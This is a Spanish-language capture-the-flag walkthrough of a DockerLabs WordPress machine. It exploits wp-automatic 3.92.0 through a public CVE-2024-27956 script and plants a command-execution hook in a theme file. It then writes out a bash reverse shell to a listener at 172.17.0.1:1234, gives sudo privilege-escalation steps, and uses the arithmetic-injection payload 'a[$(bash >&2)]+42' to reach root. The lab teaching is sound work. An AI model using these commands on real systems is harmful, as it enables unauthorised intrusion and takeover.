Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Realizamos el escaneo de la dirección IP y podemos observar que solo identifico el puerto 80.
Al ingresar observamos que la página ofrece varios cursos así también todos sus botones son funcionales y también notemos que en la parte inferior dice Automated By wp-automatic 3.92.0
.
Revisando los cursos observamos que el autor de todos los cursos es Mario.
Escaneamos el directorio y observamos el login de WordPress.
Al dirigirnos a ese directorio podemos observar que el usuario Mario existe. Por ello probamos realizando un ataque de fuerza bruta, pero no es posible. Buscando wp-automatic 3.92.0
podemos observar que hay varios exploits para esta
Buscando acerca de algún exploit encontramos este https://github.com/diego-tella/CVE-2024-27956-RCE
Para poder hacer uso de este solo debemos clonar el repositorio y ejecutarlo.
Y para ejecutarlo es ingresarlo de la siguiente manera, luego de ejecutarlo podemos observar que tenemos las credenciales
eviladmin:admin
Ingresamos con las credenciales y ya estamos dentro del servicio.
Al dirigirnos a la sección de users
podemos comprobar que tenemos permisos de administrador.
Para poder establecer una shell, modificaremos un archivo. Por ello primero no vamos a Theme File Editor
Cambiamos el theme
a editar por twenty twenty-two
, agregamos la siguiente línea de código y guardamos.
Nos dirigimos a la dirección podemos observar que podemos ejecutar comandos.
http://172.17.0.2/wp-content/themes/twentytwentytwo/functions.php?cmd=id
Ya que podemos ejecutar comandos estableceremos una shell. Para ello iniciaremos nuestro listener con nc
y deberemos establecer nuestra consulta.
bash -c \ "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1\ "'
Para evitar problemas con los símbolos lo pasamos a base 64.
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22
Y enviamos, el URL debería ser así.
http://172.17.0.2/wp-content/themes/twentytwentytwo/functions.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22
Al momento de enviar en nuestro listener ya deberíamos poder ver que se estableció conexión.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguida de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola.
Realizamos un sudo -l
y podemos observar que podemos escalar al usuario pylon
usando el binario de PHP.
Buscando en la página GFTOBins Podemos observar como realizar este paso.
Ejecutamos el comando y podemos observar que ya pudimos elevar privilegios como pylon
.
Al dirigirnos a la carpeta del usuario y listar los archivos podemos observar un script que muestra el canal de YouTube del usuario así también este archivo le pertenece a este usuario.
Realizamos un sudo -l
podemos observar que podemos usar un archivo que está en el directorio de Mario poder escalar como el usuario mario
.
Como no podemos leer de que trata el archivo pingusorpresita.sh
lo ejecutaremos para poder observar que hace el script y si tiene el mismo funcionamiento que el de la carpeta de pylon
podremos aprovecharnos de esta y usar comandos, ya que el script no validaba caracteres.
Para ello agregaremos el siguiente comando para poder ejecutar código arbitrario. Para tener más idea de como funciona visitar el siguiente link arbitrary code
a[$(bash >&2)]+42
Luego de ingresar el comando podemos observar que ya somos mario
Si volvemos a realizar sudo -l
podemos observar la misma situación, así que volvemos a repetir los mismos pasos anteriores y ya somos root, de esta manera culminando esta máquina.